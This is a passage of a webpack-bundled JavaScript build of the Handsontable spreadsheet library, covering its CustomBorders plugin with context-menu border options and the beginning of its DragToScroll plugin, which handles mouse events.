_defineProperties(Constructor.prototype, protoProps); if (staticProps) _defineProperties(Constructor, staticProps); return Constructor; } function _possibleConstructorReturn(self, call) { if (call && (_typeof(call) === "object" || typeof call === "function")) { return call; } return _assertThisInitialized(self); } function _assertThisInitialized(self) { if (self === void 0) { throw new ReferenceError("this hasn't been initialised - super() hasn't been called"); } return self; } function _get(target, property, receiver) { if (typeof Reflect !== "undefined" && Reflect.get) { _get = Reflect.get; } else { _get = function _get(target, property, receiver) { var base = _superPropBase(target, property); if (!base) return; var desc = Object.getOwnPropertyDescriptor(base, property); if (desc.get) { return desc.get.call(receiver); } return desc.value; }; } return _get(target, property, receiver || target); } function _superPropBase(object, property) { while (!Object.prototype.hasOwnProperty.call(object, property)) { object = _getPrototypeOf(object); if (object === null) break; } return object; } function _getPrototypeOf(o) { _getPrototypeOf = Object.setPrototypeOf ? Object.getPrototypeOf : function _getPrototypeOf(o) { return o.__proto__ || Object.getPrototypeOf(o); }; return _getPrototypeOf(o); } function _inherits(subClass, superClass) { if (typeof superClass !== "function" && superClass !== null) { throw new TypeError("Super expression must either be null or a function"); } subClass.prototype = Object.create(superClass && superClass.prototype, { constructor: { value: subClass, writable: true, configurable: true } }); if (superClass) _setPrototypeOf(subClass, superClass); } function _setPrototypeOf(o, p) { _setPrototypeOf = Object.setPrototypeOf || function _setPrototypeOf(o, p) { o.__proto__ = p; return o; }; return _setPrototypeOf(o, p); } /** * @class CustomBorders * @plugin CustomBorders * * @description * This plugin enables an option to apply custom borders through the context menu (configurable with context menu key * `borders`). * * To initialize Handsontable with predefined custom borders, provide cell coordinates and border styles in a form * of an array. * * See [Custom Borders](http://docs.handsontable.com/demo-custom-borders.html) demo for more examples. * * @example * ```js * customBorders: [ * { * range: { * from: { * row: 1, * col: 1 * }, * to: { * row: 3, * col: 4 * }, * }, * left: {}, * right: {}, * top: {}, * bottom: {}, * }, * ], * * // or * customBorders: [ * { row: 2, * col: 2, * left: { * width: 2, * color: 'red', * }, * right: { * width: 1, * color: 'green', * }, * top: '', * bottom: '', * } * ], * ``` */ var CustomBorders = /*#__PURE__*/ function (_BasePlugin) { _inherits(CustomBorders, _BasePlugin); function CustomBorders(hotInstance) { var _this; _classCallCheck(this, CustomBorders); _this = _possibleConstructorReturn(this, _getPrototypeOf(CustomBorders).call(this, hotInstance)); /** * Saved borders. * * @private * @type {Array} */ _this.savedBorders = []; return _this; } /** * Checks if the plugin is enabled in the handsontable settings. This method is executed in {@link Hooks#beforeInit} * hook and if it returns `true` than the {@link CustomBorders#enablePlugin} method is called. * * @returns {Boolean} */ _createClass(CustomBorders, [{ key: "isEnabled", value: function isEnabled() { return !!this.hot.getSettings().customBorders; } /** * Enables the plugin functionality for this Handsontable instance. */ }, { key: "enablePlugin", value: function enablePlugin() { var _this2 = this; if (this.enabled) { return; } this.addHook('afterContextMenuDefaultOptions', function (options) { return _this2.onAfterContextMenuDefaultOptions(options); }); this.addHook('afterInit', function () { return _this2.onAfterInit(); }); _get(_getPrototypeOf(CustomBorders.prototype), "enablePlugin", this).call(this); } /** * Disables the plugin functionality for this Handsontable instance. */ }, { key: "disablePlugin", value: function disablePlugin() { this.hideBorders(); _get(_getPrototypeOf(CustomBorders.prototype), "disablePlugin", this).call(this); } /** * Updates the plugin state. This method is executed when {@link Core#updateSettings} is invoked. */ }, { key: "updatePlugin", value: function updatePlugin() { this.disablePlugin(); this.enablePlugin(); this.changeBorderSettings(); _get(_getPrototypeOf(CustomBorders.prototype), "updatePlugin", this).call(this); } /** * Set custom borders. * * @example * ```js * const customBordersPlugin = hot.getPlugin('customBorders'); * * // Using an array of arrays (produced by `.getSelected()` method). * customBordersPlugin.setBorders([[1, 1, 2, 2], [6, 2, 0, 2]], {left: {width: 2, color: 'blue'}}); * // Using an array of CellRange objects (produced by `.getSelectedRange()` method). * customBordersPlugin.setBorders(hot.getSelectedRange(), {left: {hide: false, width: 2, color: 'blue'}}); * ``` * * @param {Array[]|CellRange[]} selectionRanges Array of selection ranges. * @param {Object} borderObject Object with `top`, `right`, `bottom` and `left` properties. */ }, { key: "setBorders", value: function setBorders(selectionRanges, borderObject) { var _this3 = this; var defaultBorderKeys = ['top', 'right', 'bottom', 'left']; var borderKeys = borderObject ? Object.keys(borderObject) : defaultBorderKeys; var selectionType = (0, _selection.detectSelectionType)(selectionRanges); var selectionSchemaNormalizer = (0, _selection.normalizeSelectionFactory)(selectionType); (0, _array.arrayEach)(selectionRanges, function (selection) { var _selectionSchemaNorma = selectionSchemaNormalizer(selection), _selectionSchemaNorma2 = _slicedToArray(_selectionSchemaNorma, 4), rowStart = _selectionSchemaNorma2[0], columnStart = _selectionSchemaNorma2[1], rowEnd = _selectionSchemaNorma2[2], columnEnd = _selectionSchemaNorma2[3]; var _loop = function _loop(row) { var _loop2 = function _loop2(col) { (0, _array.arrayEach)(borderKeys, function (borderKey) { _this3.prepareBorderFromCustomAdded(row, col, borderObject, borderKey); }); }; for (var col = columnStart; col <= columnEnd; col += 1) { _loop2(col); } }; for (var row = rowStart; row <= rowEnd; row += 1) { _loop(row); } }); } /** * Get custom borders. * * @example * ```js * const customBordersPlugin = hot.getPlugin('customBorders'); * * // Using an array of arrays (produced by `.getSelected()` method). * customBordersPlugin.getBorders([[1, 1, 2, 2], [6, 2, 0, 2]]); * // Using an array of CellRange objects (produced by `.getSelectedRange()` method). * customBordersPlugin.getBorders(hot.getSelectedRange()); * // Using without param - return all customBorders. * customBordersPlugin.getBorders(); * ``` * * @param {Array[]|CellRange[]} selectionRanges Array of selection ranges. * @return {Object[]} Returns array of border objects. */ }, { key: "getBorders", value: function getBorders(selectionRanges) { var _this4 = this; if (!Array.isArray(selectionRanges)) { return this.savedBorders; } var selectionType = (0, _selection.detectSelectionType)(selectionRanges); var selectionSchemaNormalizer = (0, _selection.normalizeSelectionFactory)(selectionType); var selectedBorders = []; (0, _array.arrayEach)(selectionRanges, function (selection) { var _selectionSchemaNorma3 = selectionSchemaNormalizer(selection), _selectionSchemaNorma4 = _slicedToArray(_selectionSchemaNorma3, 4), rowStart = _selectionSchemaNorma4[0], columnStart = _selectionSchemaNorma4[1], rowEnd = _selectionSchemaNorma4[2], columnEnd = _selectionSchemaNorma4[3]; var _loop3 = function _loop3(row) { var _loop4 = function _loop4(col) { (0, _array.arrayEach)(_this4.savedBorders, function (border) { if (border.row === row && border.col === col) { selectedBorders.push(border); } }); }; for (var col = columnStart; col <= columnEnd; col += 1) { _loop4(col); } }; for (var row = rowStart; row <= rowEnd; row += 1) { _loop3(row); } }); return selectedBorders; } /** * Clear custom borders. * * @example * ```js * const customBordersPlugin = hot.getPlugin('customBorders'); * * // Using an array of arrays (produced by `.getSelected()` method). * customBordersPlugin.clearBorders([[1, 1, 2, 2], [6, 2, 0, 2]]); * // Using an array of CellRange objects (produced by `.getSelectedRange()` method). * customBordersPlugin.clearBorders(hot.getSelectedRange()); * // Using without param - clear all customBorders. * customBordersPlugin.clearBorders(); * ``` * * @param {Array[]|CellRange[]} selectionRanges Array of selection ranges. */ }, { key: "clearBorders", value: function clearBorders(selectionRanges) { var _this5 = this; if (selectionRanges) { this.setBorders(selectionRanges); } else { (0, _array.arrayEach)(this.savedBorders, function (border) { _this5.clearBordersFromSelectionSettings(border.id); _this5.clearNullCellRange(); _this5.hot.removeCellMeta(border.row, border.col, 'borders'); }); this.savedBorders.length = 0; } } /** * Insert WalkontableSelection instance into Walkontable settings. * * @private * @param {Object} border Object with `row` and `col`, `left`, `right`, `top` and `bottom`, `id` and `border` ({Object} with `color`, `width` and `cornerVisible` property) properties. * @param {String} place Coordinate where add/remove border - `top`, `bottom`, `left`, `right`. */ }, { key: "insertBorderIntoSettings", value: function insertBorderIntoSettings(border, place) { var hasSavedBorders = this.checkSavedBorders(border); if (!hasSavedBorders) { this.savedBorders.push(border); } var coordinates = { row: border.row, col: border.col }; var cellRange = new _src.CellRange(coordinates, coordinates, coordinates); var hasCustomSelections = this.checkCustomSelections(border, cellRange, place); if (!hasCustomSelections) { this.hot.selection.highlight.addCustomSelection({ border: border, cellRange: cellRange }); this.hot.view.wt.draw(true); } } /** * Prepare borders from setting (single cell). * * @private * @param {Number} row Visual row index. * @param {Number} column Visual column index. * @param {Object} borderDescriptor Object with `row` and `col`, `left`, `right`, `top` and `bottom` properties. * @param {String} place Coordinate where add/remove border - `top`, `bottom`, `left`, `right`. */ }, { key: "prepareBorderFromCustomAdded", value: function prepareBorderFromCustomAdded(row, column, borderDescriptor, place) { var border = (0, _utils.createEmptyBorders)(row, column); if (borderDescriptor) { border = (0, _utils.extendDefaultBorder)(border, borderDescriptor); (0, _array.arrayEach)(this.hot.selection.highlight.customSelections, function (customSelection) { if (border.id === customSelection.settings.id) { Object.assign(customSelection.settings, borderDescriptor); border = customSelection.settings; return false; // breaks forAll } }); } this.hot.setCellMeta(row, column, 'borders', border); this.insertBorderIntoSettings(border, place); } /** * Prepare borders from setting (object). * * @private * @param {Object} rowDecriptor Object with `range`, `left`, `right`, `top` and `bottom` properties. */ }, { key: "prepareBorderFromCustomAddedRange", value: function prepareBorderFromCustomAddedRange(rowDecriptor) { var _this6 = this; var range = rowDecriptor.range; (0, _number.rangeEach)(range.from.row, range.to.row, function (rowIndex) { (0, _number.rangeEach)(range.from.col, range.to.col, function (colIndex) { var border = (0, _utils.createEmptyBorders)(rowIndex, colIndex); var add = 0; if (rowIndex === range.from.row) { add += 1; if ((0, _object.hasOwnProperty)(rowDecriptor, 'top')) { border.top = rowDecriptor.top; } } if (rowIndex === range.to.row) { add += 1; if ((0, _object.hasOwnProperty)(rowDecriptor, 'bottom')) { border.bottom = rowDecriptor.bottom; } } if (colIndex === range.from.col) { add += 1; if ((0, _object.hasOwnProperty)(rowDecriptor, 'left')) { border.left = rowDecriptor.left; } } if (colIndex === range.to.col) { add += 1; if ((0, _object.hasOwnProperty)(rowDecriptor, 'right')) { border.right = rowDecriptor.right; } } if (add > 0) { _this6.hot.setCellMeta(rowIndex, colIndex, 'borders', border); _this6.insertBorderIntoSettings(border); } }); }); } /** * Remove border (triggered from context menu). * * @private * @param {Number} row Visual row index. * @param {Number} column Visual column index. */ }, { key: "removeAllBorders", value: function removeAllBorders(row, column) { var borderId = (0, _utils.createId)(row, column); this.spliceBorder(borderId); this.clearBordersFromSelectionSettings(borderId); this.clearNullCellRange(); this.hot.removeCellMeta(row, column, 'borders'); } /** * Set borders for each cell re. to border position. * * @private * @param {Number} row Visual row index. * @param {Number} column Visual column index. * @param {String} place Coordinate where add/remove border - `top`, `bottom`, `left`, `right` and `noBorders`. * @param {Boolean} remove True when remove borders, and false when add borders. */ }, { key: "setBorder", value: function setBorder(row, column, place, remove) { var bordersMeta = this.hot.getCellMeta(row, column).borders; if (!bordersMeta || bordersMeta.border === void 0) { bordersMeta = (0, _utils.createEmptyBorders)(row, column); } if (remove) { bordersMeta[place] = (0, _utils.createSingleEmptyBorder)(); var hideCount = this.countHide(bordersMeta); if (hideCount === 4) { this.removeAllBorders(row, column); } else { var customSelectionsChecker = this.checkCustomSelectionsFromContextMenu(bordersMeta, place, remove); if (!customSelectionsChecker) { this.insertBorderIntoSettings(bordersMeta); } this.hot.setCellMeta(row, column, 'borders', bordersMeta); } } else { bordersMeta[place] = (0, _utils.createDefaultCustomBorder)(); var _customSelectionsChecker = this.checkCustomSelectionsFromContextMenu(bordersMeta, place, remove); if (!_customSelectionsChecker) { this.insertBorderIntoSettings(bordersMeta); } this.hot.setCellMeta(row, column, 'borders', bordersMeta); } } /** * Prepare borders based on cell and border position. * * @private * @param {Object} selected * @param {String} place Coordinate where add/remove border - `top`, `bottom`, `left`, `right` and `noBorders`. * @param {Boolean} remove True when remove borders, and false when add borders. */ }, { key: "prepareBorder", value: function prepareBorder(selected, place, remove) { var _this7 = this; (0, _array.arrayEach)(selected, function (_ref) { var start = _ref.start, end = _ref.end; if (start.row === end.row && start.col === end.col) { if (place === 'noBorders') { _this7.removeAllBorders(start.row, start.col); } else { _this7.setBorder(start.row, start.col, place, remove); } } else { switch (place) { case 'noBorders': (0, _number.rangeEach)(start.col, end.col, function (colIndex) { (0, _number.rangeEach)(start.row, end.row, function (rowIndex) { _this7.removeAllBorders(rowIndex, colIndex); }); }); break; case 'top': (0, _number.rangeEach)(start.col, end.col, function (topCol) { _this7.setBorder(start.row, topCol, place, remove); }); break; case 'right': (0, _number.rangeEach)(start.row, end.row, function (rowRight) { _this7.setBorder(rowRight, end.col, place, remove); }); break; case 'bottom': (0, _number.rangeEach)(start.col, end.col, function (bottomCol) { _this7.setBorder(end.row, bottomCol, place, remove); }); break; case 'left': (0, _number.rangeEach)(start.row, end.row, function (rowLeft) { _this7.setBorder(rowLeft, start.col, place, remove); }); break; default: break; } } }); } /** * Create borders from settings. * * @private * @param {Array} customBorders Object with `row` and `col`, `left`, `right`, `top` and `bottom` properties. */ }, { key: "createCustomBorders", value: function createCustomBorders(customBorders) { var _this8 = this; (0, _array.arrayEach)(customBorders, function (customBorder) { if (customBorder.range) { _this8.prepareBorderFromCustomAddedRange(customBorder); } else { _this8.prepareBorderFromCustomAdded(customBorder.row, customBorder.col, customBorder); } }); } /** * Count hide property in border object. * * @private * @param {Object} border Object with `row` and `col`, `left`, `right`, `top` and `bottom`, `id` and `border` ({Object} with `color`, `width` and `cornerVisible` property) properties. */ }, { key: "countHide", value: function countHide(border) { var values = Object.values(border); return (0, _array.arrayReduce)(values, function (accumulator, value) { var result = accumulator; if (value.hide) { result += 1; } return result; }, 0); } /** * Clear borders settings from custom selections. * * @private * @param {String} borderId Border id name as string. */ }, { key: "clearBordersFromSelectionSettings", value: function clearBordersFromSelectionSettings(borderId) { var index = (0, _array.arrayMap)(this.hot.selection.highlight.customSelections, function (customSelection) { return customSelection.settings.id; }).indexOf(borderId); if (index > -1) { this.hot.selection.highlight.customSelections[index].clear(); } this.hot.view.wt.draw(true); } /** * Clear cellRange with null value. * * @private */ }, { key: "clearNullCellRange", value: function clearNullCellRange() { var _this9 = this; (0, _array.arrayEach)(this.hot.selection.highlight.customSelections, function (customSelection, index) { if (customSelection.cellRange === null) { _this9.hot.selection.highlight.customSelections.splice(index, 1); return false; // breaks forAll } }); } /** * Hide custom borders. * * @private */ }, { key: "hideBorders", value: function hideBorders() { var _this10 = this; (0, _array.arrayEach)(this.savedBorders, function (border) { _this10.clearBordersFromSelectionSettings(border.id); }); } /** * Splice border from savedBorders. * * @private * @param {String} borderId Border id name as string. */ }, { key: "spliceBorder", value: function spliceBorder(borderId) { var index = (0, _array.arrayMap)(this.savedBorders, function (border) { return border.id; }).indexOf(borderId); if (index > -1) { this.savedBorders.splice(index, 1); } } /** * Check if an border already exists in the savedBorders array, and if true update border in savedBorders. * * @private * @param {Object} border Object with `row` and `col`, `left`, `right`, `top` and `bottom`, `id` and `border` ({Object} with `color`, `width` and `cornerVisible` property) properties. * * @return {Boolean} */ }, { key: "checkSavedBorders", value: function checkSavedBorders(border) { var _this11 = this; var check = false; var hideCount = this.countHide(border); if (hideCount === 4) { this.spliceBorder(border.id); check = true; } else { (0, _array.arrayEach)(this.savedBorders, function (savedBorder, index) { if (border.id === savedBorder.id) { _this11.savedBorders[index] = border; check = true; return false; // breaks forAll } }); } return check; } /** * Check if an border already exists in the customSelections, and if true call toggleHiddenClass method. * * @private * @param {Object} border Object with `row` and `col`, `left`, `right`, `top` and `bottom`, `id` and `border` ({Object} with `color`, `width` and `cornerVisible` property) properties. * @param {String} place Coordinate where add/remove border - `top`, `bottom`, `left`, `right` and `noBorders`. * @param {Boolean} remove True when remove borders, and false when add borders. * * @return {Boolean} */ }, { key: "checkCustomSelectionsFromContextMenu", value: function checkCustomSelectionsFromContextMenu(border, place, remove) { var check = false; (0, _array.arrayEach)(this.hot.selection.highlight.customSelections, function (customSelection) { if (border.id === customSelection.settings.id) { (0, _object.objectEach)(customSelection.instanceBorders, function (borderObject) { borderObject.toggleHiddenClass(place, remove); }); check = true; return false; // breaks forAll } }); return check; } /** * Check if an border already exists in the customSelections, and if true reset cellRange. * * @private * @param {Object} border Object with `row` and `col`, `left`, `right`, `top` and `bottom`, `id` and `border` ({Object} with `color`, `width` and `cornerVisible` property) properties. * @param {CellRange} cellRange * @param {String} place Coordinate where add/remove border - `top`, `bottom`, `left`, `right`. * * @return {Boolean} */ }, { key: "checkCustomSelections", value: function checkCustomSelections(border, cellRange, place) { var hideCount = this.countHide(border); var check = false; if (hideCount === 4) { this.removeAllBorders(border.row, border.col); this.clearBordersFromSelectionSettings(border.id); this.clearNullCellRange(); check = true; } else { (0, _array.arrayEach)(this.hot.selection.highlight.customSelections, function (customSelection) { if (border.id === customSelection.settings.id) { customSelection.cellRange = cellRange; if (place) { (0, _object.objectEach)(customSelection.instanceBorders, function (borderObject) { borderObject.changeBorderStyle(place, border); }); } check = true; return false; // breaks forAll } }); } return check; } /** * Change borders from settings. * * @private */ }, { key: "changeBorderSettings", value: function changeBorderSettings() { var customBorders = this.hot.getSettings().customBorders; if (Array.isArray(customBorders)) { if (!customBorders.length) { this.savedBorders = customBorders; } this.createCustomBorders(customBorders); } else if (customBorders !== void 0) { this.createCustomBorders(this.savedBorders); } } /** * Add border options to context menu. * * @private * @param {Object} defaultOptions Context menu items. */ }, { key: "onAfterContextMenuDefaultOptions", value: function onAfterContextMenuDefaultOptions(defaultOptions) { if (!this.hot.getSettings().customBorders) { return; } defaultOptions.items.push({ name: '---------' }, { key: 'borders', name: function name() { return this.getTranslatedPhrase(C.CONTEXTMENU_ITEMS_BORDERS); }, disabled: function disabled() { return this.selection.isSelectedByCorner(); }, submenu: { items: [(0, _contextMenuItem.top)(this), (0, _contextMenuItem.right)(this), (0, _contextMenuItem.bottom)(this), (0, _contextMenuItem.left)(this), (0, _contextMenuItem.noBorders)(this)] } }); } /** * `afterInit` hook callback. * * @private */ }, { key: "onAfterInit", value: function onAfterInit() { this.changeBorderSettings(); } /** * Destroys the plugin instance. */ }, { key: "destroy", value: function destroy() { _get(_getPrototypeOf(CustomBorders.prototype), "destroy", this).call(this); } }]); return CustomBorders; }(_base.default); (0, _plugins.registerPlugin)('customBorders', CustomBorders); var _default = CustomBorders; exports.default = _default; /***/ }), /* 712 */ /***/ (function(module, exports, __webpack_require__) { "use strict"; exports.__esModule = true; var _bottom = _interopRequireDefault(__webpack_require__(713)); exports.bottom = _bottom.default; var _left = _interopRequireDefault(__webpack_require__(714)); exports.left = _left.default; var _noBorders = _interopRequireDefault(__webpack_require__(715)); exports.noBorders = _noBorders.default; var _right = _interopRequireDefault(__webpack_require__(716)); exports.right = _right.default; var _top = _interopRequireDefault(__webpack_require__(717)); exports.top = _top.default; function _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { default: obj }; } /***/ }), /* 713 */ /***/ (function(module, exports, __webpack_require__) { "use strict"; exports.__esModule = true; exports.default = bottom; var C = _interopRequireWildcard(__webpack_require__(11)); var _utils = __webpack_require__(69); function _interopRequireWildcard(obj) { if (obj && obj.__esModule) { return obj; } else { var newObj = {}; if (obj != null) { for (var key in obj) { if (Object.prototype.hasOwnProperty.call(obj, key)) { var desc = Object.defineProperty && Object.getOwnPropertyDescriptor ? Object.getOwnPropertyDescriptor(obj, key) : {}; if (desc.get || desc.set) { Object.defineProperty(newObj, key, desc); } else { newObj[key] = obj[key]; } } } } newObj.default = obj; return newObj; } } function bottom(customBordersPlugin) { return { key: 'borders:bottom', name: function name() { var label = this.getTranslatedPhrase(C.CONTEXTMENU_ITEMS_BORDERS_BOTTOM); var hasBorder = (0, _utils.checkSelectionBorders)(this, 'bottom'); if (hasBorder) { label = (0, _utils.markSelected)(label); } return label; }, callback: function callback(key, selected) { var hasBorder = (0, _utils.checkSelectionBorders)(this, 'bottom'); customBordersPlugin.prepareBorder(selected, 'bottom', hasBorder); } }; } /***/ }), /* 714 */ /***/ (function(module, exports, __webpack_require__) { "use strict"; exports.__esModule = true; exports.default = left; var C = _interopRequireWildcard(__webpack_require__(11)); var _utils = __webpack_require__(69); function _interopRequireWildcard(obj) { if (obj && obj.__esModule) { return obj; } else { var newObj = {}; if (obj != null) { for (var key in obj) { if (Object.prototype.hasOwnProperty.call(obj, key)) { var desc = Object.defineProperty && Object.getOwnPropertyDescriptor ? Object.getOwnPropertyDescriptor(obj, key) : {}; if (desc.get || desc.set) { Object.defineProperty(newObj, key, desc); } else { newObj[key] = obj[key]; } } } } newObj.default = obj; return newObj; } } function left(customBordersPlugin) { return { key: 'borders:left', name: function name() { var label = this.getTranslatedPhrase(C.CONTEXTMENU_ITEMS_BORDERS_LEFT); var hasBorder = (0, _utils.checkSelectionBorders)(this, 'left'); if (hasBorder) { label = (0, _utils.markSelected)(label); } return label; }, callback: function callback(key, selected) { var hasBorder = (0, _utils.checkSelectionBorders)(this, 'left'); customBordersPlugin.prepareBorder(selected, 'left', hasBorder); } }; } /***/ }), /* 715 */ /***/ (function(module, exports, __webpack_require__) { "use strict"; exports.__esModule = true; exports.default = noBorders; var C = _interopRequireWildcard(__webpack_require__(11)); var _utils = __webpack_require__(69); function _interopRequireWildcard(obj) { if (obj && obj.__esModule) { return obj; } else { var newObj = {}; if (obj != null) { for (var key in obj) { if (Object.prototype.hasOwnProperty.call(obj, key)) { var desc = Object.defineProperty && Object.getOwnPropertyDescriptor ? Object.getOwnPropertyDescriptor(obj, key) : {}; if (desc.get || desc.set) { Object.defineProperty(newObj, key, desc); } else { newObj[key] = obj[key]; } } } } newObj.default = obj; return newObj; } } function noBorders(customBordersPlugin) { return { key: 'borders:no_borders', name: function name() { return this.getTranslatedPhrase(C.CONTEXTMENU_ITEMS_REMOVE_BORDERS); }, callback: function callback(key, selected) { customBordersPlugin.prepareBorder(selected, 'noBorders'); }, disabled: function disabled() { return !(0, _utils.checkSelectionBorders)(this); } }; } /***/ }), /* 716 */ /***/ (function(module, exports, __webpack_require__) { "use strict"; exports.__esModule = true; exports.default = right; var C = _interopRequireWildcard(__webpack_require__(11)); var _utils = __webpack_require__(69); function _interopRequireWildcard(obj) { if (obj && obj.__esModule) { return obj; } else { var newObj = {}; if (obj != null) { for (var key in obj) { if (Object.prototype.hasOwnProperty.call(obj, key)) { var desc = Object.defineProperty && Object.getOwnPropertyDescriptor ? Object.getOwnPropertyDescriptor(obj, key) : {}; if (desc.get || desc.set) { Object.defineProperty(newObj, key, desc); } else { newObj[key] = obj[key]; } } } } newObj.default = obj; return newObj; } } function right(customBordersPlugin) { return { key: 'borders:right', name: function name() { var label = this.getTranslatedPhrase(C.CONTEXTMENU_ITEMS_BORDERS_RIGHT); var hasBorder = (0, _utils.checkSelectionBorders)(this, 'right'); if (hasBorder) { label = (0, _utils.markSelected)(label); } return label; }, callback: function callback(key, selected) { var hasBorder = (0, _utils.checkSelectionBorders)(this, 'right'); customBordersPlugin.prepareBorder(selected, 'right', hasBorder); } }; } /***/ }), /* 717 */ /***/ (function(module, exports, __webpack_require__) { "use strict"; exports.__esModule = true; exports.default = top; var C = _interopRequireWildcard(__webpack_require__(11)); var _utils = __webpack_require__(69); function _interopRequireWildcard(obj) { if (obj && obj.__esModule) { return obj; } else { var newObj = {}; if (obj != null) { for (var key in obj) { if (Object.prototype.hasOwnProperty.call(obj, key)) { var desc = Object.defineProperty && Object.getOwnPropertyDescriptor ? Object.getOwnPropertyDescriptor(obj, key) : {}; if (desc.get || desc.set) { Object.defineProperty(newObj, key, desc); } else { newObj[key] = obj[key]; } } } } newObj.default = obj; return newObj; } } function top(customBordersPlugin) { return { key: 'borders:top', name: function name() { var label = this.getTranslatedPhrase(C.CONTEXTMENU_ITEMS_BORDERS_TOP); var hasBorder = (0, _utils.checkSelectionBorders)(this, 'top'); if (hasBorder) { label = (0, _utils.markSelected)(label); } return label; }, callback: function callback(key, selected) { var hasBorder = (0, _utils.checkSelectionBorders)(this, 'top'); customBordersPlugin.prepareBorder(selected, 'top', hasBorder); } }; } /***/ }), /* 718 */ /***/ (function(module, exports, __webpack_require__) { "use strict"; exports.__esModule = true; exports.default = void 0; var _base = _interopRequireDefault(__webpack_require__(15)); var _eventManager = _interopRequireDefault(__webpack_require__(10)); var _plugins = __webpack_require__(13); function _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { default: obj }; } function _typeof(obj) { if (typeof Symbol === "function" && typeof Symbol.iterator === "symbol") { _typeof = function _typeof(obj) { return typeof obj; }; } else { _typeof = function _typeof(obj) { return obj && typeof Symbol === "function" && obj.constructor === Symbol && obj !== Symbol.prototype ? "symbol" : typeof obj; }; } return _typeof(obj); } function _classCallCheck(instance, Constructor) { if (!(instance instanceof Constructor)) { throw new TypeError("Cannot call a class as a function"); } } function _defineProperties(target, props) { for (var i = 0; i < props.length; i++) { var descriptor = props[i]; descriptor.enumerable = descriptor.enumerable || false; descriptor.configurable = true; if ("value" in descriptor) descriptor.writable = true; Object.defineProperty(target, descriptor.key, descriptor); } } function _createClass(Constructor, protoProps, staticProps) { if (protoProps) _defineProperties(Constructor.prototype, protoProps); if (staticProps) _defineProperties(Constructor, staticProps); return Constructor; } function _possibleConstructorReturn(self, call) { if (call && (_typeof(call) === "object" || typeof call === "function")) { return call; } return _assertThisInitialized(self); } function _get(target, property, receiver) { if (typeof Reflect !== "undefined" && Reflect.get) { _get = Reflect.get; } else { _get = function _get(target, property, receiver) { var base = _superPropBase(target, property); if (!base) return; var desc = Object.getOwnPropertyDescriptor(base, property); if (desc.get) { return desc.get.call(receiver); } return desc.value; }; } return _get(target, property, receiver || target); } function _superPropBase(object, property) { while (!Object.prototype.hasOwnProperty.call(object, property)) { object = _getPrototypeOf(object); if (object === null) break; } return object; } function _getPrototypeOf(o) { _getPrototypeOf = Object.setPrototypeOf ? Object.getPrototypeOf : function _getPrototypeOf(o) { return o.__proto__ || Object.getPrototypeOf(o); }; return _getPrototypeOf(o); } function _inherits(subClass, superClass) { if (typeof superClass !== "function" && superClass !== null) { throw new TypeError("Super expression must either be null or a function"); } subClass.prototype = Object.create(superClass && superClass.prototype, { constructor: { value: subClass, writable: true, configurable: true } }); if (superClass) _setPrototypeOf(subClass, superClass); } function _setPrototypeOf(o, p) { _setPrototypeOf = Object.setPrototypeOf || function _setPrototypeOf(o, p) { o.__proto__ = p; return o; }; return _setPrototypeOf(o, p); } function _assertThisInitialized(self) { if (self === void 0) { throw new ReferenceError("this hasn't been initialised - super() hasn't been called"); } return self; } /** * @description * Plugin used to scroll Handsontable by selecting a cell and dragging outside of the visible viewport. * * * @class DragToScroll * @plugin DragToScroll */ var DragToScroll = /*#__PURE__*/ function (_BasePlugin) { _inherits(DragToScroll, _BasePlugin); function DragToScroll(hotInstance) { var _this; _classCallCheck(this, DragToScroll); _this = _possibleConstructorReturn(this, _getPrototypeOf(DragToScroll).call(this, hotInstance)); /** * Instance of {@link EventManager}. * * @private * @type {EventManager} */ _this.eventManager = new _eventManager.default(_assertThisInitialized(_assertThisInitialized(_this))); /** * Size of an element and its position relative to the viewport, * e.g. {bottom: 449, height: 441, left: 8, right: 814, top: 8, width: 806, x: 8, y:8}. * * @type {DOMRect} */ _this.boundaries = null; /** * Callback function. * * @private * @type {Function} */ _this.callback = null; /** * Flag indicates mouseDown/mouseUp. * * @private * @type {Boolean} */ _this.listening = false; return _this; } /** * Checks if the plugin is enabled in the handsontable settings. This method is executed in {@link Hooks#beforeInit} * hook and if it returns `true` than the {@link DragToScroll#enablePlugin} method is called. * * @returns {Boolean} */ _createClass(DragToScroll, [{ key: "isEnabled", value: function isEnabled() { return !!this.hot.getSettings().dragToScroll; } /** * Enables the plugin functionality for this Handsontable instance. */ }, { key: "enablePlugin", value: function enablePlugin() { var _this2 = this; if (this.enabled) { return; } this.addHook('afterOnCellMouseDown', function () { return _this2.setupListening(); }); this.addHook('afterOnCellCornerMouseDown', function () { return _this2.setupListening(); }); this.registerEvents(); _get(_getPrototypeOf(DragToScroll.prototype), "enablePlugin", this).call(this); } /** * Updates the plugin state. This method is executed when {@link Core#updateSettings} is invoked. */ }, { key: "updatePlugin", value: function updatePlugin() { this.disablePlugin(); this.enablePlugin(); _get(_getPrototypeOf(DragToScroll.prototype), "updatePlugin", this).call(this); } /** * Disables the plugin functionality for this Handsontable instance. */ }, { key: "disablePlugin", value: function disablePlugin() { this.unregisterEvents(); _get(_getPrototypeOf(DragToScroll.prototype), "disablePlugin", this).call(this); } /** * Sets the value of the visible element. * * @param boundaries {DOMRect} An object with coordinates compatible with DOMRect. */ }, { key: "setBoundaries", value: function setBoundaries(boundaries) { this.boundaries = boundaries; } /** * Changes callback function. * * @param callback {Function} */ }, { key: "setCallback", value: function setCallback(callback) { this.callback = callback; } /** * Checks if the mouse position (X, Y) is outside of the viewport and fires a callback with calculated X an Y diffs * between passed boundaries. * * @param {Number} x Mouse X coordinate to check. * @param {Number} y Mouse Y coordinate to check. */ }, { key: "check", value: function check(x, y) { var diffX = 0; var diffY = 0; if (y < this.boundaries.top) { // y is less than top diffY = y - this.boundaries.top; } else if (y > this.boundaries.bottom) { // y is more than bottom diffY = y - this.boundaries.bottom; } if (x < this.boundaries.left) { // x is less than left diffX = x - this.boundaries.left; } else if (x > this.boundaries.right) { // x is more than right diffX = x - this.boundaries.right; } this.callback(diffX, diffY); } /** * Registers dom listeners. * * @private */ }, { key: "registerEvents", value: function registerEvents() { var _this3 = this; this.eventManager.addEventListener(document, 'mouseup', function () { return _this3.onMouseUp(); }); this.eventManager.addEventListener(document, 'mousemove', function (event) { return _this3.onMouseMove(event); }); } /** * Unbinds the events used by the plugin. * * @private */ }, { key: "unregisterEvents", value: function unregisterEvents() { this.eventManager.clear(); } /** * On after on cell/cellCorner mouse down listener. * * @private */ }, { key: "setupListening", value: function setupListening() { var scrollHandler = this.hot.view.wt.wtTable.holder; // native scroll if (scrollHandler === window) { // not much we can do currently 